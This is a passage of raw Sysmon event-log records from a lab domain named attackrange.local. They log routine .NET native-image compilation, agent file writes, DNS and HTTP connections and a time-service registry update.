14:44:51.060{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F63-613B-7709-00000000F001}6900C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044445Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:51.060{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F63-613B-7709-00000000F001}6900C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 23542300x800000000000000013964Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:52.650{625C326B-67EE-613B-1B00-00000000F101}1908NT AUTHORITY\SYSTEMC:\Program Files\Amazon\SSM\amazon-ssm-agent.exeC:\ProgramData\Amazon\SSM\InstanceData\i-0e4d5849e4b95ca2f\channels\health\surveyor-20210910141303-031MD5=97EF2A570B75C4F95FC69B0D09A2E2A2,SHA256=11396EA313B0ED7E3228C4FA92ABE9D836DB8F416A7A8A28ACC77133025082E7,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000013963Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:52.414{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=D1EBBD57D6B3230C9BE4E925929CF759,SHA256=6515EEB44960498B7EB2F4F79DE96CF4C57F9CD5EA0042BDAF8082531A5819FE,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000044534Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:50.948{7BD73061-65B2-613B-1400-00000000F001}340C:\Windows\System32\svchost.exeNT AUTHORITY\NETWORK SERVICEtcptruefalse10.0.1.14win-dc-387.attackrange.local59256-false2.16.106.171a2-16-106-171.deploy.static.akamaitechnologies.com80http 354300x800000000000000044533Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:50.942{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53075- 10341000x800000000000000044532Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:52.913{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F64-613B-9109-00000000F001}5656C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 13241300x800000000000000044531Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:44:52.913{7BD73061-65B2-613B-1000-00000000F001}364C:\Windows\system32\svchost.exeHKLM\System\CurrentControlSet\Services\W32Time\Config\LastKnownGoodTimeQWORD (0x01d7a652-0x6a262265) 10341000x800000000000000044530Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:52.893{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F64-613B-9109-00000000F001}5656C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044529Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:52.893{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F64-613B-9109-00000000F001}5656C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 23542300x800000000000000044528Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:52.853{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=66D0227C445AD88F1CB37C1950124C47,SHA256=9F1679CF598ADB7C8EB24C39F78E688D0EB3B1647C34545C1B92E5BE409E8FDB,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000044527Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:52.853{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F64-613B-9009-00000000F001}5532C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044526Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:52.833{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F64-613B-9009-00000000F001}5532C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044525Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:52.833{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F64-613B-9009-00000000F001}5532C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 10341000x800000000000000044524Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:52.772{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F64-613B-8F09-00000000F001}5424C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044523Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:52.752{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F64-613B-8F09-00000000F001}5424C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044522Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:52.752{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F64-613B-8F09-00000000F001}5424C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 10341000x800000000000000044521Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:52.722{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F64-613B-8E09-00000000F001}7056C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044520Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:52.702{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F64-613B-8E09-00000000F001}7056C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044519Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:52.702{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F64-613B-8E09-00000000F001}7056C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 10341000x800000000000000044518Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:52.642{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F64-613B-8D09-00000000F001}5580C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044517Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:52.622{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F64-613B-8D09-00000000F001}5580C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044516Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:52.622{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F64-613B-8D09-00000000F001}5580C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 10341000x800000000000000044515Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:52.562{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F64-613B-8C09-00000000F001}4164C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044514Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:52.552{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F64-613B-8C09-00000000F001}4164C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044513Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:52.552{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F64-613B-8C09-00000000F001}4164C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 10341000x800000000000000044512Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:52.472{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F64-613B-8B09-00000000F001}6948C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044511Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 